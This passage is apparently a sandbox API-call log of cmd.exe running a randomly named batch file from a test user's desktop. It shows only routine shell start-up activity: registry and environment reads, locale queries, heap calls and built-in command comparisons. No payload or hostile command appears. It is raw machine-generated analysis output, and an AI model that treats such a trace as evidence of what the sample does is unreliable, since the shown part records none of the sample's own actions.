0x76be31fc [0068.178] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0068.178] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0068.178] GetCurrentThreadId () returned 0xb98 [0068.178] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb98) returned 0x60 [0068.178] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0068.178] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0068.178] SetThreadUILanguage (LangId=0x0) returned 0x409 [0068.179] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f894 | out: phkResult=0x18f894*=0x0) returned 0x2 [0068.179] VirtualQuery (in: lpAddress=0x18f8cb, lpBuffer=0x18f864, dwLength=0x1c | out: lpBuffer=0x18f864*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0068.179] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18f864, dwLength=0x1c | out: lpBuffer=0x18f864*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0068.179] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18f864, dwLength=0x1c | out: lpBuffer=0x18f864*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0068.179] VirtualQuery (in: lpAddress=0x93000, lpBuffer=0x18f864, dwLength=0x1c | out: lpBuffer=0x18f864*(BaseAddress=0x93000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0068.179] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18f864, dwLength=0x1c | out: lpBuffer=0x18f864*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0068.179] GetConsoleOutputCP () returned 0x1b5 [0068.179] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0068.179] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0068.179] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.179] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0068.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.180] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0068.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0068.180] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0068.180] _get_osfhandle (_FileHandle=0) returned 0x3 [0068.180] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0068.181] _get_osfhandle (_FileHandle=0) returned 0x3 [0068.181] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0068.181] GetEnvironmentStringsW () returned 0x464068* [0068.181] GetProcessHeap () returned 0x450000 [0068.181] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x464b40 [0068.181] FreeEnvironmentStringsW (penv=0x464068) returned 1 [0068.181] GetProcessHeap () returned 0x450000 [0068.181] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x460d20 [0068.181] GetEnvironmentStringsW () returned 0x464068* [0068.181] GetProcessHeap () returned 0x450000 [0068.181] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x465618 [0068.182] FreeEnvironmentStringsW (penv=0x464068) returned 1 [0068.182] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e804 | out: phkResult=0x18e804*=0x68) returned 0x0 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x0, lpData=0x18e810*=0x0, lpcbData=0x18e808*=0x1000) returned 0x2 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x1, lpcbData=0x18e808*=0x4) returned 0x0 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x0, lpData=0x18e810*=0x1, lpcbData=0x18e808*=0x1000) returned 0x2 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x0, lpcbData=0x18e808*=0x4) returned 0x0 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x40, lpcbData=0x18e808*=0x4) returned 0x0 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x40, lpcbData=0x18e808*=0x4) returned 0x0 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x0, lpData=0x18e810*=0x40, lpcbData=0x18e808*=0x1000) returned 0x2 [0068.182] RegCloseKey (hKey=0x68) returned 0x0 [0068.182] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e804 | out: phkResult=0x18e804*=0x68) returned 0x0 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x0, lpData=0x18e810*=0x40, lpcbData=0x18e808*=0x1000) returned 0x2 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x1, lpcbData=0x18e808*=0x4) returned 0x0 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x0, lpData=0x18e810*=0x1, lpcbData=0x18e808*=0x1000) returned 0x2 [0068.182] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x0, lpcbData=0x18e808*=0x4) returned 0x0 [0068.183] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x9, lpcbData=0x18e808*=0x4) returned 0x0 [0068.183] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x4, lpData=0x18e810*=0x9, lpcbData=0x18e808*=0x4) returned 0x0 [0068.183] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e80c, lpData=0x18e810, lpcbData=0x18e808*=0x1000 | out: lpType=0x18e80c*=0x0, lpData=0x18e810*=0x9, lpcbData=0x18e808*=0x1000) returned 0x2 [0068.183] RegCloseKey (hKey=0x68) returned 0x0 [0068.183] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710da [0068.183] srand (_Seed=0x5e2710da) [0068.183] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"\"" [0068.183] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"\"" [0068.183] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.183] GetProcessHeap () returned 0x450000 [0068.183] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x464068 [0068.183] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x464070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0068.184] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.184] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.184] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0068.184] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0068.184] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0068.184] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0068.184] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0068.184] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0068.184] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0068.184] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0068.184] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0068.184] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0068.184] GetProcessHeap () returned 0x450000 [0068.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464b40 | out: hHeap=0x450000) returned 1 [0068.184] GetEnvironmentStringsW () returned 0x464280* [0068.184] GetProcessHeap () returned 0x450000 [0068.184] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae2) returned 0x466be0 [0068.184] FreeEnvironmentStringsW (penv=0x464280) returned 1 [0068.184] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0068.184] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0068.185] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0068.185] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0068.185] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0068.185] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0068.185] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0068.185] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0068.185] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0068.185] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0068.185] GetProcessHeap () returned 0x450000 [0068.185] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x54) returned 0x4676d0 [0068.185] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18f5d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x18f5d0, lpFilePart=0x18f5cc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f5cc*="Desktop") returned 0x25 [0068.185] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0068.185] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18f34c | out: lpFindFileData=0x18f34c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x463ee8 [0068.185] FindClose (in: hFindFile=0x463ee8 | out: hFindFile=0x463ee8) returned 1 [0068.185] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18f34c | out: lpFindFileData=0x18f34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x463ee8 [0068.185] FindClose (in: hFindFile=0x463ee8 | out: hFindFile=0x463ee8) returned 1 [0068.185] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0068.186] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18f34c | out: lpFindFileData=0x18f34c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x463ee8 [0068.186] FindClose (in: hFindFile=0x463ee8 | out: hFindFile=0x463ee8) returned 1 [0068.186] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0068.186] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0068.186] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0068.186] GetProcessHeap () returned 0x450000 [0068.186] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466be0 | out: hHeap=0x450000) returned 1 [0068.186] GetEnvironmentStringsW () returned 0x4660f0* [0068.186] GetProcessHeap () returned 0x450000 [0068.186] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x467f30 [0068.186] FreeEnvironmentStringsW (penv=0x4660f0) returned 1 [0068.186] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.186] GetProcessHeap () returned 0x450000 [0068.186] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4676d0 | out: hHeap=0x450000) returned 1 [0068.186] GetProcessHeap () returned 0x450000 [0068.186] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400e) returned 0x468a70 [0068.187] GetProcessHeap () returned 0x450000 [0068.187] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe8) returned 0x464dc0 [0068.187] GetProcessHeap () returned 0x450000 [0068.187] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x46ca88 [0068.187] GetProcessHeap () returned 0x450000 [0068.187] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x470a98 [0068.188] GetProcessHeap () returned 0x450000 [0068.188] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a70 | out: hHeap=0x450000) returned 1 [0068.188] GetConsoleOutputCP () returned 0x1b5 [0068.188] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0068.188] GetUserDefaultLCID () returned 0x409 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f710, cchData=128 | out: lpLCData="0") returned 2 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18f710, cchData=128 | out: lpLCData="0") returned 2 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18f710, cchData=128 | out: lpLCData="1") returned 2 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0068.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0068.190] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0068.191] GetProcessHeap () returned 0x450000 [0068.191] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20c) returned 0x464eb0 [0068.191] GetConsoleTitleW (in: lpConsoleTitle=0x464eb0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0068.191] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0068.191] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0068.191] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0068.191] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0068.192] GetProcessHeap () returned 0x450000 [0068.192] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x468a70 [0068.192] GetProcessHeap () returned 0x450000 [0068.192] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a70 | out: hHeap=0x450000) returned 1 [0068.193] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0068.193] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0068.193] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0068.193] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0068.193] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0068.193] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0068.193] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0068.193] GetProcessHeap () returned 0x450000 [0068.193] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x4650c8 [0068.194] GetProcessHeap () returned 0x450000 [0068.194] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x72) returned 0x460ee0 [0068.195] GetProcessHeap () returned 0x450000 [0068.195] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x78) returned 0x460f60 [0068.195] GetConsoleTitleW (in: lpConsoleTitle=0x18f408, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0068.196] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0068.196] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0068.196] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0068.196] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0068.196] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0068.196] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0068.196] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0068.196] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0068.196] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0068.196] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0068.196] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0068.196] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0068.196] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0068.196] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0068.196] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0068.196] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0068.196] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0068.196] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0068.196] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0068.196] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0068.196] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0068.196] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0068.196] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0068.198] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0068.198] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0068.198] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0068.198] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0068.198] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0068.198] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0068.198] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0068.198] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0068.198] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0068.198] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0068.198] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0068.198] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0068.198] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0068.198] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0068.198] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0068.198] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0068.198] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0068.198] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0068.198] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0068.198] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0068.199] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0068.199] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0068.199] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0068.199] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0068.199] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0068.199] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0068.199] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0068.199] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0068.199] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0068.199] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0068.199] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0068.199] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0068.199] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0068.199] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0068.199] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0068.199] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0068.199] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0068.199] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0068.199] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0068.199] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0068.199] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0068.199] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0068.199] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0068.199] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0068.199] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0068.199] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0068.199] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0068.199] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0068.199] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0068.199] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0068.199] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0068.199] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0068.199] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0068.199] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0068.200] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0068.200] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0068.200] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0068.200] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0068.200] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0068.200] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0068.200] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 